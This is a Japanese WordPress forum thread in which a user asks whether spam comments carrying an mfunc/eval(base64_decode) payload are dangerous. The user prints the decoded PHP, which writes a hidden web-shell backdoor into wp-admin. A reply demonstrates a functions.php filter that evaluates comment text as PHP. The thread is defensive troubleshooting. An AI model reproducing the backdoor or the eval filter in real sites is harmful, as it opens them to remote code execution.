• eval base64_decode を含むコメントが投稿された場合、承認せずに削除すれば安全でしょうか?

    初めまして。
    タイトルの件について、よろしくお願いします。
    自分でも調べてみましたが、よく分からず不安なので質問させてください。

    ■経緯
    1年近く前にWordPressでテスト的に作成して、放置状態のサイトにコメントが入ってきました。
    記事は公開状態でしたが、検索エンジンにインデックスさせていないので、
    スパムコメントだと思って確認してみました。
    管理画面上では、コメントの内容が空白でしたが、
    「モデレートしてください」というタイトルで届く通知メールには、
    <!--mfunc eval(base64_decodeから始まるアルファベットの羅列が記載されており、怪しいと思い、検索エンジンで情報を調べてみました。

    ■解読したコードです。

    error_reporting(0); $file = dirname($_SERVER['SCRIPT_FILENAME']) . '/' . 'wp-admin/m_update.php'; $src = '<?php
    @error_reporting(0);
    @ini_set("display_errors", 0);
    @ini_set("log_errors", 0);
    @ini_set("error_log", 0);
    if (isset($_GET['r'])) {
        print $_GET['r'];
    } elseif (isset($_POST['e'])) {
        eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
    } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
        $data = file_get_contents('php://input');
        if (strlen($data) > 0) print 'STATUS-IMPORT-OK';
        if (strlen($data) > 12) {
            $fp = @fopen('tmpfile', 'a');
            @flock($fp, LOCK_EX);
            @fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n");
            @flock($fp, LOCK_UN);
            @fclose($fp);
        }
    }
    exit;
    
    ?>'; $mtime = filemtime(dirname($file)); $fh = fopen($file, 'w'); fwrite($fh, $src); fclose($fh); @touch($file, $mtime, $mtime); @touch(dirname($file), $mtime, $mtime);

    コメントは3件あり、
    それぞれ、dirname($_SERVER['SCRIPT_FILENAME'])の後のファイル名が違うだけでコードは全部同じです。

    以下、3パターン
    wp-admin/an_xml.php
    wp-admin/andreasen.php
    wp-admin/m_update.php

    ■被害状況:今のところ特に無いと思うのですが・・・自信はありません。
    ・wp-adminフォルダを確認しましたが、上記ファイルはいずれも見当たりません。
    ・wp-config.php、index.php、htaccessファイルも特に問題なさそうです。
    ・ブラウザからサイトを見ても、HTMLソースを確認しても特に問題はなさそうです。

    ■この件に関係ありそうな情報
    http://security.stackexchange.com/questions/29797/default-php-file-found-on-the-server-is-this-a-security-threat
    http://www.wordpressvirus.com/uncategorized/spam-comments-turned-malware-comments.html

    ※どちらも英語サイトなので、翻訳して読んでみましたが私では理解不足です。
    特に、2番目のURLを見ると、コメントを自動承認せずにチェックすることが大事だと書かれているようなので、多分、コメント自体を削除すれば大丈夫そうな気はするのですが・・・。
    もし、コメントがサイトに表示されたら、何か起きるのでしょうか?

    ■使用環境の補足
    ワードプレスのバージョンについて。
    すでに最新の3.8.1にアップデートしてしまったので、コメントが入ってきた時点でのバージョンは失念してしまいましたが、多分、3.5.1だったと思います。

    プラグインは初期のまま、特に入れていません。
    なお、Akismetは有効化していません。

    利用中のテーマ
    ワードプレスのデフォルトテーマを使用してます。

    今回の件があってから、ワードプレス本体、プラグイン、テーマをアップデート済みです。

    php.iniの設定
    allow_url_fopen : On →Offにしておいた方がいいのでしょうか?
    allow_url_include : Off

3件の返信を表示中 - 1 - 3件目 (全3件中)
  • こんにちは

    eval base64_decode を含むコメントが投稿された場合、承認せずに削除すれば安全でしょうか?

    私には、この件に関して、安全とか、危ないとか答えを出すことはできないのですが、少し違う視点からこのような問題を考えてみてはどうかと思い、書き込みをさせていただきます。

    コメントフィールドに入力された値は、どのように扱われて表示されるのかについて知識を深めてみてはどうか?という点です。

    まずご自身で、適当なphpのコードを入力して試してみるといいと思いますが、サンプルをひとつ、書いておきます。

    コメントを投稿します

    date('Y年m月d日 H:i')

    と書いてみます。(これは、PHPのdate関数ですよね)

    このコードを記述したからといって、コメントリストには、そのまま表示されます。

    正しくは、シングルクウォートやセミコロンは、置換されて表示します。

    echo date(‘Y年m月d日 H:i’);

    これだと、PHPとして評価されないので、安全と判断する人もいると思います。

    では、このコメントをeval関数を使って、phpとしてコメントフィールドに読み込む方法を考えてみます。

    functions.phpにフィルタを書きます。

    <?php
    
    add_filter( 'comment_text', 'my_comment_text', 5 );
    
    function my_comment_text( $comment ) {
    
    	$string = str_replace(  array( '“','”','‘','’'), '\'',$comment );
    	$string = trim( $string );
    
    	if (eval("\$replacement = $string;") === false ){
    
    		return 'dekinai';
    	} else {
    
    		$name = 'coffee';
    		$str = 'Now {$replacement}. My {$name} time.';
    		eval("\$str = \"$str\";");
    
    		return $str;
    	}
    	return $comment;
    }
    ?>

    この、ちょっとしたフィルタをかけると、コメントは、以下のように表示が変わります

    Now 2014年02月28日 03:19. My coffee time.

    コメントはPHPとして評価され、時刻表示がこんなちっぽけなフィルタ関数で表示されてしまいます。

    WordPressのデフォルトテーマを使っているから、安全だとかというレベルでなく、もうちょっと細かい部分で、WordPressのフォーマットを変更したとか、サイドバーウィジェット等で、PHPが有効になるようなプラグインの類が、PHPとして評価してしまうということもあるのかもしれません。

    php.iniの設定
    allow_url_fopen : On →Offにしておいた方がいいのでしょうか?
    allow_url_include : Off

    allow_url_fopenは、offのほうがいいのではないかと思いますが、だから安全かというと別の問題のような気がします。

    古いメモですが、offでも外部リクエストは可能ではないかと思います。
    http://d.hatena.ne.jp/tenman/20080829/p1

    情報交換として、このような場合はどうなのかということを知ることは、とても意味のあることですが、同様に、コメントでPHPのコードを入力したらどのような表示になるのか等を自身で試しておくとさらにいいのではないかと思います。

    最後に決めるのは、自分自身ですから

    管理画面上では、コメントの内容が空白でしたが、
    「モデレートしてください」というタイトルで届く通知メールには、
    <!–mfunc eval(base64_decodeから始まるアルファベットの羅列が記載されており、怪しいと思い、検索エンジンで情報を調べてみました。

    ちょっと気になったのですが、「コメントの内容が空白」って事は、そのコードがコメントされただけでは、空白にはならないと思います。

    テスト用のサイトなら、捨てたほうが無難じゃないかと思います。

    トピック投稿者 plean

    (@plean)

    nobitaさん、ご丁寧にご回答並びにご教示いただき、ありがとうございます!
    教えていただいたサンプルコードをローカル環境で試してみました。

    以下のように理解致しました。(大体合ってますでしょうか?)
    ・通常は、phpコード等をコメント欄に入力されても、半角のシングルクォートは全角に置換されるのでスクリプトとして動作することはない。
    ・もしも、functions.phpやそのほかの部分でphpとして動作させるように、置換やエスケープ処理を無効化されていると、コメント欄のphpが実行される。

    ■管理画面のコメントについても、再度確認してみました。
    私の説明が少し足りなかったのですが、
    ブラウザ上では、該当のコメント投稿者名等は表示されていて、コメントの内容だけが空白です。
    この部分のHTMLソースですが、
    ダッシュボードでは
    <blockquote><p> </p></blockquote>
    コメント編集画面では
    <p><!--mfunc eval(base64_decode("IGVycm9yX3 ~中略~ lKTsgCg==")); --><!--/mfunc--></p>
    となっておりました。

    HTMLソースのコメントアウトになっているので、ブラウザ上では見えなかったみたいです。

    「mfunc」については、2013年5月頃の話みたいですが、こんな記述のサイトがありました。
    http://blog.sucuri.net/2013/05/w3-total-cache-and-wp-super-cache-vulnerability-being-targeted-in-the-wild.html
    W3 Total Cache と WP Super Cache プラグインを使ってるサイトが狙われたのでしょうかね…。

    ネット上で、eval(base64_decode()) について調べると、過去に改ざんされたサイトのことがたくさん出てくることと、私がeval関数のことをよくわかっていないため、心配になってしまいましたが、
    今回の私のケースでは、普通のスパムコメントと同様に削除すれば良さそうですね。

    allow_url_fopenの件についても、教えてくださってありがとうございます!

    ちなみに、テスト用のサイトというか、いずれまともに記事を書いて公開したいと思っているサイトなので、コメント削除とallow_url_fopenをOffにしておこうかと思います。

    色々勉強になりました!nobitaさん、ありがとうございました。

3件の返信を表示中 - 1 - 3件目 (全3件中)
  • トピック「eval base64_decode を含むコメントが投稿された場合、承認せずに削除すれば安」には新たに返信することはできません。